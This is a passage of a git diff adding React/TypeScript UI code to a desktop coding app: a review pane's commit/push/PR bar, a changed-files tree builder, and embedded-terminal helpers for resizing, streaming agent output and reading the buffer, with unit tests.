+            <Button
+              aria-label={c.close}
+              className={ACTION_BTN}
+              onClick={clearReviewSelection}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <Codicon name="close" size="0.8rem" />
+            </Button>
+          </div>
+          <div className="min-h-0 flex-1 overflow-auto px-1 pb-1">
+            {diffLoading ? (
+              showDiffSkeleton ? (
+                <DiffSkeleton />
+              ) : null
+            ) : diff ? (
+              <FileDiffPanel className="mx-0 mb-0 h-full max-h-none" diff={diff} path={selectedFile.path} virtualized />
+            ) : (
+              <div className="py-6 text-center text-[0.66rem] text-muted-foreground/60">{c.noDiff}</div>
+            )}
+          </div>
+        </div>
+      )}
+
+      <ReviewShipBar />
+
+      <Dialog onOpenChange={open => !open && cancelRevert()} open={revertTarget !== undefined}>
+        <DialogContent>
+          <DialogHeader>
+            <DialogTitle>{revertingAll ? c.revertAll : c.revert}</DialogTitle>
+            <DialogDescription>
+              {revertingAll ? c.revertAllConfirm : c.revertConfirm}
+              {!revertingAll && revertTarget?.path && (
+                <span
+                  className="mt-2 block truncate font-mono text-[0.7rem] text-(--ui-text-secondary)"
+                  title={displayPath(revertTarget.path)}
+                >
+                  {displayPath(revertTarget.path)}
+                </span>
+              )}
+            </DialogDescription>
+          </DialogHeader>
+          <DialogFooter>
+            <Button onClick={cancelRevert} variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button onClick={() => void confirmRevert().catch(err => notifyError(err, c.revert))} variant="destructive">
+              {revertingAll ? c.revertAll : c.revert}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+    </aside>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/review/ship-bar.tsx b/ui-desktop/src/app/right-sidebar/review/ship-bar.tsx
new file mode 100644
index 000000000..ff863ff63
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/review/ship-bar.tsx
@@ -0,0 +1,154 @@
+import { useStore } from '@nanostores/react'
+import { useState } from 'react'
+
+import { requestComposerSubmit } from '@/app/chat/composer/focus'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { GenerateButton } from '@/components/ui/generate-button'
+import { SplitButton } from '@/components/ui/split-button'
+import { Textarea } from '@/components/ui/textarea'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { notifyError } from '@/store/notifications'
+import {
+  $reviewCommitDefault,
+  $reviewCommitMsgBusy,
+  $reviewFiles,
+  $reviewShipBusy,
+  $reviewShipInfo,
+  cancelCommitMessage,
+  type CommitAction,
+  commitChanges,
+  createOrOpenPr,
+  generateCommitMessage
+} from '@/store/review'
+
+// One size for every glyph in the bar so the row reads as a set of peers.
+const ICON = '0.85rem'
+
+// The commit / push / PR action bar at the bottom of the review pane. Supports
+// both paths: the user drives it directly, OR hands the whole thing to the agent
+// with one click (requestComposerSubmit sends it a task through the composer).
+export function ReviewShipBar() {
+  const { t } = useI18n()
+  const c = t.statusStack.coding
+  const files = useStore($reviewFiles)
+  const ship = useStore($reviewShipInfo)
+  const busy = useStore($reviewShipBusy)
+  const generating = useStore($reviewCommitMsgBusy)
+  const commitDefault = useStore($reviewCommitDefault)
+  const [message, setMessage] = useState('')
+  const prLabel = ship.pr?.url ? c.openPr : c.createPr
+
+  const hasFiles = files.length > 0
+  const canCommit = hasFiles && message.trim().length > 0 && !busy
+  const canGenerate = hasFiles && !generating && !busy
+
+  // Nothing to commit → no ship bar at all; the pane just shows the tree /
+  // "No changes" state.
+  if (!hasFiles) {
+    return null
+  }
+
+  const runCommit = (action: CommitAction) => {
+    if (!canCommit) {
+      return
+    }
+
+    void commitChanges(message, { push: action === 'commitPush' })
+      .then(() => setMessage(''))
+      .catch(err => notifyError(err, c.commit))
+  }
+
+  // Draft the commit message off-thread (VS Code style); pass the current text
+  // so a re-press regenerates instead of returning the same thing.
+  const runGenerate = () => {
+    if (!canGenerate) {
+      return
+    }
+
+    void generateCommitMessage(message)
+      .then(text => text && setMessage(text))
+      .catch(err => notifyError(err, c.generateCommitMessage))
+  }
+
+  return (
+    <div className="flex shrink-0 flex-col gap-1.5 p-2" data-suppress-pane-reveal-side="">
+      {/* Auto-growing message field (CSS field-sizing); generate/stop action
+          fills the right edge on one row, then sticks to the top as it grows. */}
+      <div className="relative">
+        <Textarea
+          className="field-sizing-content max-h-40 min-h-0 resize-none pr-9"
+          disabled={generating}
+          onChange={event => setMessage(event.target.value)}
+          onKeyDown={event => {
+            if ((event.metaKey || event.ctrlKey) && event.key === 'Enter') {
+              event.preventDefault()
+              runCommit(commitDefault)
+            }
+          }}
+          placeholder={c.commitPlaceholder}
+          rows={1}
+          size="sm"
+          value={message}
+        />
+        <GenerateButton
+          className="absolute top-px right-px h-6 w-8 rounded-l-none rounded-r-[2px]"
+          disabled={!canGenerate}
+          generating={generating}
+          generatingLabel={c.stopGenerating}
+          iconSize={ICON}
+          label={c.generateCommitMessage}
+          onCancel={cancelCommitMessage}
+          onGenerate={runGenerate}
+        />
+      </div>
+
+      {/* Commit split (VS Code style). */}
+      <div className="flex min-w-0">
+        <SplitButton
+          actions={[
+            { id: 'commit', label: c.commit },
+            { id: 'commitPush', label: c.commitAndPush }
+          ]}
+          className="min-w-0 flex-1"
+          disabled={!canCommit}
+          onTrigger={id => runCommit(id as CommitAction)}
+          onValueChange={id => $reviewCommitDefault.set(id as CommitAction)}
+          primaryIcon={<Codicon name="check" size={ICON} />}
+          value={commitDefault}
+          variant="default"
+        />
+      </div>
+
+      {/* Hand it to the agent (one click sends a commit+PR task to the composer).
+          The PR button floats on the right (out of flow) so the label centers on
+          the whole bar; px-7 reserves the icon's width on both sides. */}
+      <div className="relative flex min-w-0 items-center">
+        <Button
+          className="min-w-0 flex-1 justify-center px-7 text-[0.7rem] text-muted-foreground/85 hover:text-foreground"
+          disabled={!hasFiles}
+          onClick={() => requestComposerSubmit(c.agentShipPrompt, { target: 'main' })}
+          size="sm"
+          variant="ghost"
+        >
+          <span className="truncate underline underline-offset-2">{c.agentShip}</span>
+        </Button>
+        <Tip label={ship.ghReady ? prLabel : c.ghMissing}>
+          <span className="absolute inset-y-0 right-0 flex items-center">
+            <Button
+              aria-label={prLabel}
+              className="size-7 text-muted-foreground/80 hover:text-foreground"
+              disabled={!ship.ghReady || busy}
+              onClick={() => void createOrOpenPr().catch(err => notifyError(err, prLabel))}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <Codicon name="git-pull-request" size={ICON} />
+            </Button>
+          </span>
+        </Tip>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/review/tree-data.test.ts b/ui-desktop/src/app/right-sidebar/review/tree-data.test.ts
new file mode 100644
index 000000000..416aa197d
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/review/tree-data.test.ts
@@ -0,0 +1,108 @@
+import { describe, expect, it } from 'vitest'
+
+import type { ClawCodexReviewFile } from '@/global'
+
+import { buildReviewTree, countAllNodes, flattenReviewRows } from './tree-data'
+
+const file = (path: string, added = 1, removed = 0): ClawCodexReviewFile => ({
+  path,
+  added,
+  removed,
+  status: 'M',
+  staged: false
+})
+
+describe('buildReviewTree', () => {
+  it('nests files under their folders and sorts dirs before files', () => {
+    const tree = buildReviewTree([file('src/a.ts'), file('readme.md'), file('src/b.ts')], false)
+
+    expect(tree.map(n => n.name)).toEqual(['src', 'readme.md'])
+    const src = tree[0]
+    expect(src.isDir).toBe(true)
+    expect(src.children?.map(n => n.name)).toEqual(['a.ts', 'b.ts'])
+  })
+
+  it('aggregates +/- onto directories', () => {
+    const tree = buildReviewTree([file('src/a.ts', 5, 2), file('src/b.ts', 3, 1)], false)
+
+    expect(tree[0].added).toBe(8)
+    expect(tree[0].removed).toBe(3)
+  })
+
+  it('compacts single-child directory chains', () => {
+    const tree = buildReviewTree([file('a/b/c/deep.ts')], true)
+
+    expect(tree[0].name).toBe('a/b/c')
+    expect(tree[0].children?.[0].name).toBe('deep.ts')
+  })
+
+  it('does not compact when a directory has multiple children', () => {
+    const tree = buildReviewTree([file('a/b/one.ts'), file('a/other.ts')], true)
+
+    expect(tree[0].name).toBe('a')
+    expect(tree[0].children?.map(n => n.name).sort()).toEqual(['b', 'other.ts'])
+  })
+})
+
+describe('countAllNodes', () => {
+  it('counts every node including descendants', () => {
+    const tree = buildReviewTree([file('src/a.ts'), file('src/b.ts'), file('readme.md')], false)
+
+    // src + its two files + readme.
+    expect(countAllNodes(tree)).toBe(4)
+  })
+
+  it('counts one per top-level leaf', () => {
+    const tree = buildReviewTree([file('a.ts'), file('b.ts')], false)
+
+    expect(countAllNodes(tree)).toBe(2)
+  })
+
+  it('counts a single deep folder holding thousands of files as heavy', () => {
+    const files = Array.from({ length: 40_000 }, (_, i) => file(`publish/lib-${i}.so`))
+    const tree = buildReviewTree(files)
+
+    // One top-level node, but the total is what matters for virtualization.
+    expect(tree.length).toBe(1)
+    expect(countAllNodes(tree)).toBe(40_001)
+  })
+})
+
+describe('flattenReviewRows', () => {
+  it('flattens top-level leaves in order', () => {
+    const tree = buildReviewTree([file('b.ts'), file('a.ts')], false)
+
+    const rows = flattenReviewRows(tree, () => true)
+
+    expect(rows.map(r => r.node.id)).toEqual(['a.ts', 'b.ts'])
+    expect(rows.map(r => r.depth)).toEqual([0, 0])
+  })
+
+  it('includes a directory children only while it is open', () => {
+    const tree = buildReviewTree([file('src/a.ts'), file('readme.md')], false)
+
+    const collapsed = flattenReviewRows(tree, () => false)
+    expect(collapsed.map(r => r.node.id)).toEqual(['src', 'readme.md'])
+
+    const expanded = flattenReviewRows(tree, () => true)
+    expect(expanded.map(r => r.node.id)).toEqual(['src', 'src/a.ts', 'readme.md'])
+    expect(expanded[1].depth).toBe(1)
+  })
+
+  it('recurses into nested open directories with increasing depth', () => {
+    const tree = buildReviewTree([file('a/b/c.ts')], false)
+
+    const rows = flattenReviewRows(tree, () => true)
+
+    expect(rows.map(r => r.node.id)).toEqual(['a', 'a/b', 'a/b/c.ts'])
+    expect(rows.map(r => r.depth)).toEqual([0, 1, 2])
+  })
+
+  it('stops descending into a collapsed nested directory', () => {
+    const tree = buildReviewTree([file('a/b/c.ts')], false)
+
+    const rows = flattenReviewRows(tree, id => id !== 'a/b')
+
+    expect(rows.map(r => r.node.id)).toEqual(['a', 'a/b'])
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/review/tree-data.ts b/ui-desktop/src/app/right-sidebar/review/tree-data.ts
new file mode 100644
index 000000000..1fe6b26d5
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/review/tree-data.ts
@@ -0,0 +1,173 @@
+import type { ClawCodexReviewFile } from '@/global'
+
+// A node in the review changed-files tree. Directories aggregate their
+// descendants' +/- so a collapsed folder still shows its total churn (Codex's
+// folder hierarchy view).
+export interface ReviewTreeNode {
+  id: string
+  name: string
+  isDir: boolean
+  added: number
+  removed: number
+  /** For a flat-list file row: the parent dir (relative), shown dimmed. */
+  dir?: string
+  file?: ClawCodexReviewFile
+  children?: ReviewTreeNode[]
+}
+
+// Flat changed-file list (VS Code's default SCM "List" view): one row per file,
+// filename + a dimmed parent-dir path, sorted by path. No folder nodes.
+export function buildReviewFlatList(files: ClawCodexReviewFile[]): ReviewTreeNode[] {
+  return [...files]
+    .sort((a, b) => a.path.localeCompare(b.path))
+    .map(file => {
+      const segments = file.path.split('/').filter(Boolean)
+      const name = segments.pop() ?? file.path
+
+      return {
+        id: file.path,
+        name,
+        dir: segments.join('/'),
+        isDir: false,
+        added: file.added,
+        removed: file.removed,
+        file
+      }
+    })
+}
+
+interface MutableDir {
+  id: string
+  name: string
+  added: number
+  removed: number
+  dirs: Map<string, MutableDir>
+  files: ReviewTreeNode[]
+}
+
+const makeDir = (id: string, name: string): MutableDir => ({
+  id,
+  name,
+  added: 0,
+  removed: 0,
+  dirs: new Map(),
+  files: []
+})
+
+// Build a folder hierarchy from the flat changed-file list. With `compact`,
+// single-child directory chains collapse into one row (`a/b/c`), the way VS Code
+// and Codex render sparse trees.
+export function buildReviewTree(files: ClawCodexReviewFile[], compact = true): ReviewTreeNode[] {
+  const root = makeDir('', '')
+
+  for (const file of files) {
+    const segments = file.path.split('/').filter(Boolean)
+    const fileName = segments.pop() ?? file.path
+    let dir = root
+
+    dir.added += file.added
+    dir.removed += file.removed
+
+    let prefix = ''
+
+    for (const segment of segments) {
+      prefix = prefix ? `${prefix}/${segment}` : segment
+      let child = dir.dirs.get(segment)
+
+      if (!child) {
+        child = makeDir(prefix, segment)
+        dir.dirs.set(segment, child)
+      }
+
+      child.added += file.added
+      child.removed += file.removed
+      dir = child
+    }
+
+    dir.files.push({
+      id: file.path,
+      name: fileName,
+      isDir: false,
+      added: file.added,
+      removed: file.removed,
+      file
+    })
+  }
+
+  const finalize = (dir: MutableDir): ReviewTreeNode[] => {
+    const dirNodes: ReviewTreeNode[] = [...dir.dirs.values()]
+      .sort((a, b) => a.name.localeCompare(b.name))
+      .map(child => {
+        let node: ReviewTreeNode = {
+          id: child.id,
+          name: child.name,
+          isDir: true,
+          added: child.added,
+          removed: child.removed,
+          children: finalize(child)
+        }
+
+        // Compact a chain: a folder whose only child is one folder merges into
+        // `parent/child` so deep sparse paths read on one row.
+        while (compact && node.children?.length === 1 && node.children[0].isDir) {
+          const only = node.children[0]
+          node = { ...only, name: `${node.name}/${only.name}` }
+        }
+
+        return node
+      })
+
+    const fileNodes = [...dir.files].sort((a, b) => a.name.localeCompare(b.name))
+
+    return [...dirNodes, ...fileNodes]
+  }
+
+  return finalize(root)
+}
+
+// A row in the virtualized review list: the node plus the indentation depth it
+// renders at (directory nesting level).
+export interface ReviewFlatRow {
+  node: ReviewTreeNode
+  depth: number
+}
+
+// Total node count including every descendant — the cheap upper bound used to
+// decide whether the tree needs virtualization. A single folder holding tens of
+// thousands of untracked files is one top-level node but must still count as
+// heavy.
+export function countAllNodes(nodes: ReviewTreeNode[]): number {
+  let total = 0
+
+  for (const node of nodes) {
+    total += 1
+
+    if (node.children) {
+      total += countAllNodes(node.children)
+    }
+  }
+
+  return total
+}
+
+// Flatten the tree into the rows currently visible: a directory contributes
+// its children only while open (per `isOpen`, which receives node ids), and
+// every row carries its nesting depth. The virtualized scroller mounts only
+// the rows in this list, so an open folder with tens of thousands of files
+// never materializes every row in the DOM.
+export function flattenReviewRows(
+  nodes: ReviewTreeNode[],
+  isOpen: (id: string) => boolean,
+  depth = 0,
+  rows: ReviewFlatRow[] = []
+): ReviewFlatRow[] {
+  for (const node of nodes) {
+    rows.push({ depth, node })
+
+    if (node.isDir && node.children && isOpen(node.id)) {
+      flattenReviewRows(node.children, isOpen, depth + 1, rows)
+    }
+  }
+
+  return rows
+}
diff --git a/ui-desktop/src/app/right-sidebar/store.ts b/ui-desktop/src/app/right-sidebar/store.ts
new file mode 100644
index 000000000..45a8d81ec
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/store.ts
@@ -0,0 +1,30 @@
+import { atom } from 'nanostores'
+
+import { persistBoolean, storedBoolean } from '@/lib/storage'
+
+const TAKEOVER_KEY = 'clawcodex.desktop.terminalTakeover'
+
+export const $terminalTakeover = atom(storedBoolean(TAKEOVER_KEY, false))
+
+$terminalTakeover.subscribe(active => persistBoolean(TAKEOVER_KEY, active))
+
+export const setTerminalTakeover = (active: boolean) => $terminalTakeover.set(active)
+
+/** A command queued to run in the embedded terminal. The terminal pane flushes
+ *  (and clears) it once its session is live, so a value set before the pane
+ *  mounts still runs. Cleared after flush so a later remount can't replay it. */
+export const $terminalInjection = atom<null | string>(null)
+
+/** Open the terminal pane and run a command in it. Used to disconnect external
+ *  (CLI-managed) providers, which ClawCodex can't clear via the API — the user
+ *  sees exactly what runs instead of ClawCodex silently deleting their creds. */
+export const runInTerminal = (command: string) => {
+  const trimmed = command.trim()
+
+  if (!trimmed) {
+    return
+  }
+
+  setTerminalTakeover(true)
+  $terminalInjection.set(trimmed)
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/active-resize.test.ts b/ui-desktop/src/app/right-sidebar/terminal/active-resize.test.ts
new file mode 100644
index 000000000..27909c2cb
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/active-resize.test.ts
@@ -0,0 +1,159 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { observeActiveTerminalResize } from './active-resize'
+
+afterEach(() => {
+  vi.unstubAllGlobals()
+})
+
+function installRaf() {
+  let nextId = 1
+  const frames = new Map<number, FrameRequestCallback>()
+
+  vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
+    const id = nextId++
+    frames.set(id, callback)
+
+    return id
+  })
+  vi.stubGlobal('cancelAnimationFrame', (id: number) => frames.delete(id))
+
+  return {
+    flush() {
+      const pending = [...frames.entries()]
+      frames.clear()
+      pending.forEach(([, callback]) => callback(0))
+    },
+    pending: () => frames.size
+  }
+}
+
+describe('observeActiveTerminalResize', () => {
+  it('fits once on activation and coalesces later resize bursts', () => {
+    const raf = installRaf()
+    const resize = { current: null as ResizeObserverCallback | null }
+    const disconnect = vi.fn()
+
+    vi.stubGlobal(
+      'ResizeObserver',
+      class {
+        constructor(callback: ResizeObserverCallback) {
+          resize.current = callback
+        }
+
+        disconnect = disconnect
+        observe = vi.fn((target: Element) => {
+          resize.current?.([{ target } as ResizeObserverEntry], this as unknown as ResizeObserver)
+        })
+        unobserve = vi.fn()
+      } as unknown as typeof ResizeObserver
+    )
+
+    const onFit = vi.fn()
+    const onActivate = vi.fn()
+    const host = document.createElement('div')
+    const dispose = observeActiveTerminalResize(host, { onActivate, onFit })
+
+    // ResizeObserver's initial delivery is absorbed by the activation frame.
+    expect(raf.pending()).toBe(1)
+    raf.flush()
+    expect(onFit).toHaveBeenCalledTimes(1)
+    expect(onActivate).toHaveBeenCalledTimes(1)
+
+    resize.current?.([], {} as ResizeObserver)
+    resize.current?.([], {} as ResizeObserver)
+    resize.current?.([], {} as ResizeObserver)
+    expect(raf.pending()).toBe(1)
+    raf.flush()
+    expect(onFit).toHaveBeenCalledTimes(2)
+
+    dispose()
+    expect(disconnect).toHaveBeenCalledTimes(1)
+  })
+
+  it('cancels activation without fitting when hidden before the first frame', () => {
+    const raf = installRaf()
+
+    vi.stubGlobal(
+      'ResizeObserver',
+      class {
+        disconnect = vi.fn()
+        observe = vi.fn()
+        unobserve = vi.fn()
+      } as unknown as typeof ResizeObserver
+    )
+
+    const onFit = vi.fn()
+
+    const dispose = observeActiveTerminalResize(document.createElement('div'), {
+      onActivate: vi.fn(),
+      onFit
+    })
+
+    dispose()
+
+    raf.flush()
+    expect(onFit).not.toHaveBeenCalled()
+  })
+
+  it('absorbs a real browser-style initial resize delivered after activation', () => {
+    const raf = installRaf()
+    const resize = { current: null as ResizeObserverCallback | null }
+
+    vi.stubGlobal(
+      'ResizeObserver',
+      class {
+        constructor(callback: ResizeObserverCallback) {
+          resize.current = callback
+        }
+
+        disconnect = vi.fn()
+        observe = vi.fn()
+        unobserve = vi.fn()
+      } as unknown as typeof ResizeObserver
+    )
+
+    const onFit = vi.fn()
+    observeActiveTerminalResize(document.createElement('div'), { onActivate: vi.fn(), onFit })
+
+    raf.flush()
+    expect(onFit).toHaveBeenCalledTimes(1)
+
+    // Browser initial delivery: the activation fit already covered this size.
+    resize.current?.([], {} as ResizeObserver)
+    expect(raf.pending()).toBe(0)
+
+    // A later real resize schedules exactly one fit.
+    resize.current?.([], {} as ResizeObserver)
+    expect(raf.pending()).toBe(1)
+    raf.flush()
+    expect(onFit).toHaveBeenCalledTimes(2)
+  })
+
+  it('reuses a first-mount fit without fitting again on activation', () => {
+    const raf = installRaf()
+
+    vi.stubGlobal(
+      'ResizeObserver',
+      class {
+        disconnect = vi.fn()
+        observe = vi.fn()
+        unobserve = vi.fn()
+      } as unknown as typeof ResizeObserver
+    )
+
+    const onActivate = vi.fn()
+    const onFit = vi.fn()
+
+    observeActiveTerminalResize(document.createElement('div'), {
+      fitOnActivate: false,
+      onActivate,
+      onFit
+    })
+
+    raf.flush()
+
+    expect(onActivate).toHaveBeenCalledOnce()
+    expect(onFit).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/active-resize.ts b/ui-desktop/src/app/right-sidebar/terminal/active-resize.ts
new file mode 100644
index 000000000..ea68ceda1
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/active-resize.ts
@@ -0,0 +1,78 @@
+interface ActiveTerminalResizeOptions {
+  fitOnActivate?: boolean
+  onActivate: () => void
+  onFit: () => void
+}
+
+/**
+ * Observe one visible xterm host.
+ *
+ * Inactive terminals never call this helper, so their preserved DOM/PTY stays
+ * mounted without paying for ResizeObserver delivery or FitAddon work. The
+ * first frame owns activation and ignores the observer's initial delivery;
+ * later resize bursts are coalesced to one fit per animation frame.
+ */
+export function observeActiveTerminalResize(
+  host: HTMLElement,
+  { fitOnActivate = true, onActivate, onFit }: ActiveTerminalResizeOptions
+): () => void {
+  let activated = false
+  let frame = 0
+  let initialResizeDelivered = false
+  let stopped = false
+
+  const scheduleFit = () => {
+    if (!activated || stopped || frame !== 0) {
+      return
+    }
+
+    frame = window.requestAnimationFrame(() => {
+      frame = 0
+
+      if (!stopped) {
+        onFit()
+      }
+    })
+  }
+
+  const observer = new ResizeObserver(() => {
+    // ResizeObserver's initial delivery is asynchronous in browsers and may
+    // arrive before OR after the activation rAF. Activation already fits the
+    // current box, so absorb that first delivery in either ordering.
+    if (!initialResizeDelivered) {
+      initialResizeDelivered = true
+
+      return
+    }
+
+    scheduleFit()
+  })
+
+  observer.observe(host)
+
+  frame = window.requestAnimationFrame(() => {
+    frame = 0
+
+    if (stopped) {
+      return
+    }
+
+    activated = true
+
+    if (fitOnActivate) {
+      onFit()
+    }
+
+    onActivate()
+  })
+
+  return () => {
+    stopped = true
+    observer.disconnect()
+
+    if (frame !== 0) {
+      window.cancelAnimationFrame(frame)
+      frame = 0
+    }
+  }
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/agent-terminal-stream.ts b/ui-desktop/src/app/right-sidebar/terminal/agent-terminal-stream.ts
new file mode 100644
index 000000000..8b5f581e9
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/agent-terminal-stream.ts
@@ -0,0 +1,100 @@
+// Live agent-terminal output, pushed from the backend as `agent.terminal.output`
+// events (see tui_gateway `_wire_agent_terminal_output`). Chunks route straight
+// to the matching read-only xterm, keyed by process id — no polling, no tail
+// truncation. A capped per-proc backlog lets a tab opened mid-stream replay what
+// it missed, and lets a closed-then-reopened tab restore its history.
+
+type Writer = (chunk: string) => void
+
+const writers = new Map<string, Writer>()
+const backlog = new Map<string, string>()
+const commandHeaders = new Map<string, string>()
+const lastSnapshots = new Map<string, string>()
+const seededCommands = new Set<string>()
+
+const MAX_BACKLOG = 256_000
+
+/** A live agent terminal registers its xterm write and replays the backlog.
+ *  Returns an idempotent unregister. */
+export function registerAgentTerminalWriter(procId: string, write: Writer): () => void {
+  writers.set(procId, write)
+
+  const history = backlog.get(procId)
+
+  if (history) {
+    write(history)
+  }
+
+  return () => {
+    if (writers.get(procId) === write) {
+      writers.delete(procId)
+    }
+  }
+}
+
+/** Append a streamed chunk: buffer it (capped) for future opens and write it to
+ *  the live terminal, if one is mounted. */
+export function writeAgentTerminalChunk(procId: string, chunk: string): void {
+  if (!procId || !chunk) {
+    return
+  }
+
+  const next = (backlog.get(procId) ?? '') + chunk
+  backlog.set(procId, next.length > MAX_BACKLOG ? next.slice(-MAX_BACKLOG) : next)
+  writers.get(procId)?.(chunk)
+}
+
+/** Seed the tab with the command immediately, so an agent terminal never opens
+ *  as an empty void while stdout is still pending or not yet observed. */
+export function seedAgentTerminalCommand(procId: string, command: string): void {
+  const trimmed = command.trim()
+
+  if (!procId || !trimmed || seededCommands.has(procId)) {
+    return
+  }
+
+  seededCommands.add(procId)
+  const header = `$ ${trimmed}\r\n`
+  commandHeaders.set(procId, header)
+  writeAgentTerminalChunk(procId, header)
+}
+
+/** Ingest a full output snapshot from process.list/status-stack. This is the
+ *  fallback for older/not-yet-restarted gateways and a seed for tabs opened
+ *  after output already exists. If it extends our current backlog, append only
+ *  the delta; if the registry's rolling tail slid, reset to that tail. */
+export function syncAgentTerminalSnapshot(procId: string, output: string): void {
+  if (!procId || !output) {
+    return
+  }
+
+  const current = backlog.get(procId) ?? ''
+  const header = commandHeaders.get(procId) ?? ''
+  const body = header && current.startsWith(header) ? current.slice(header.length) : current
+  const previous = lastSnapshots.get(procId) ?? ''
+
+  if (output === previous || output === body || body.endsWith(output)) {
+    lastSnapshots.set(procId, output)
+
+    return
+  }
+
+  if (output.startsWith(previous)) {
+    writeAgentTerminalChunk(procId, output.slice(previous.length))
+    lastSnapshots.set(procId, output)
+
+    return
+  }
+
+  if (output.startsWith(body)) {
+    writeAgentTerminalChunk(procId, output.slice(body.length))
+    lastSnapshots.set(procId, output)
+
+    return
+  }
+
+  const next = `${header}${output}`.slice(-MAX_BACKLOG)
+  lastSnapshots.set(procId, output)
+  backlog.set(procId, next)
+  writers.get(procId)?.(`\x1bc${next}`)
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/buffer.ts b/ui-desktop/src/app/right-sidebar/terminal/buffer.ts
new file mode 100644
index 000000000..9ef74ac82
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/buffer.ts
@@ -0,0 +1,80 @@
+import type { Terminal } from '@xterm/xterm'
+
+// Serialized view of the in-app terminal, handed to the agent's `read_terminal`
+// tool. Line indices are absolute into xterm's buffer (0 = oldest scrollback
+// line), so the agent can page with start_line/count against `total_lines`.
+export interface TerminalReadResult {
+  total_lines: number
+  start: number
+  end: number
+  viewport_rows: number
+  cursor_row: number
+  text: string
+}
+
+export interface TerminalReadOptions {
+  start?: number
+  count?: number
+}
+
+type Reader = (opts: TerminalReadOptions) => TerminalReadResult
+
+// Each live terminal registers a reader keyed by its id; a single `activeId`
+// (driven by the tab selection) decides which one the agent's `read_terminal`
+// tool sees. Keying by id keeps switching race-free — a deactivating tab's
+// cleanup can't null out the tab that just activated.
+const readers = new Map<string, Reader>()
+let activeId: string | null = null
+
+/** Register a live terminal's reader; returns an idempotent unregister. */
+export function registerTerminalReader(id: string, reader: Reader): () => void {
+  readers.set(id, reader)
+
+  return () => {
+    if (readers.get(id) === reader) {
+      readers.delete(id)
+    }
+  }
+}
+
+export function setActiveTerminalId(id: string | null): void {
+  activeId = id
+}
+
+export function readActiveTerminal(opts: TerminalReadOptions = {}): TerminalReadResult | null {
+  const reader = activeId === null ? null : readers.get(activeId)
+
+  return reader ? reader(opts) : null
+}
+
+export function makeTerminalReader(term: Terminal): Reader {
+  return ({ start, count }) => {
+    const buf = term.buffer.active
+    const total = buf.length
+    const rows = term.rows
+    // Default window = the visible screen; baseY is the viewport's top row.
+    const from = Math.max(0, Math.min(start ?? buf.baseY, total))
+    const to = Math.max(from, Math.min(from + Math.max(1, count ?? rows), total))
+
+    const lines: string[] = []
+
+    // translateToString(true) right-trims and resolves wide chars, dropping SGR
+    // colors — exactly what the agent wants.
+    for (let i = from; i < to; i += 1) {
+      lines.push(buf.getLine(i)?.translateToString(true) ?? '')
+    }
+
+    while (lines.length && !lines[lines.length - 1].trim()) {
+      lines.pop()
+    }
+
+    return {
+      total_lines: total,
+      start: from,
+      end: to,
+      viewport_rows: rows,
+      cursor_row: buf.baseY + buf.cursorY,
+      text: lines.join('\n')
+    }
+  }
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/chrome.tsx b/ui-desktop/src/app/right-sidebar/terminal/chrome.tsx
new file mode 100644
index 000000000..1fda80a5b
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/chrome.tsx
@@ -0,0 +1,24 @@
+import { useStore } from '@nanostores/react'
+
+import { TerminalSlot } from './persistent'
+import { TerminalRail } from './rail'
+import { $terminals } from './terminals'
+
+/** Pane-side terminal chrome: the body slot (which the persistent overlay chases)
+ *  plus the always-on tab rail. Lives in the real pane DOM — NOT the z-4 terminal
+ *  overlay — so the rail sits above the collapsed sidebars' z-30 hover-reveal
+ *  triggers (z-40, like the thread timeline) and suppresses them while hovered.
+ *  The rail is always shown when a terminal exists (even one), so every tab keeps
+ *  its close affordance; closing the last one hides the pane (reopen re-creates). */
+export function TerminalPaneChrome() {
+  const terminals = useStore($terminals)
+
+  return (
+    <div className="flex min-h-0 min-w-0 flex-1">
+      <div className="relative flex min-h-0 min-w-0 flex-1 flex-col">
+        <TerminalSlot />
+      </div>
+      {terminals.length > 0 && <TerminalRail />}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/clipboard.test.ts b/ui-desktop/src/app/right-sidebar/terminal/clipboard.test.ts
new file mode 100644
index 000000000..575843c08
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/clipboard.test.ts
@@ -0,0 +1,124 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { mirrorSelection, terminalClipboardIntent } from './clipboard'
+
+afterEach(() => {
+  window.getSelection()?.removeAllRanges()
+  document.body.replaceChildren()
+})
+
+const key = (init: Partial<KeyboardEvent> & { key: string }) =>
+  ({ altKey: false, ctrlKey: false, metaKey: false, shiftKey: false, type: 'keydown', ...init }) as KeyboardEvent
+
+describe('terminalClipboardIntent', () => {
+  it('never claims a bare Ctrl+C with nothing selected, on either platform', () => {
+    for (const isMac of [true, false]) {
+      expect(terminalClipboardIntent(key({ ctrlKey: true, key: 'c' }), { hasSelection: false, isMac })).toBeNull()
+    }
+  })
+
+  it('copies on Ctrl+C when text is selected, so a selection is never lost to SIGINT', () => {
+    expect(terminalClipboardIntent(key({ ctrlKey: true, key: 'c' }), { hasSelection: true, isMac: false })).toBe('copy')
+  })
+
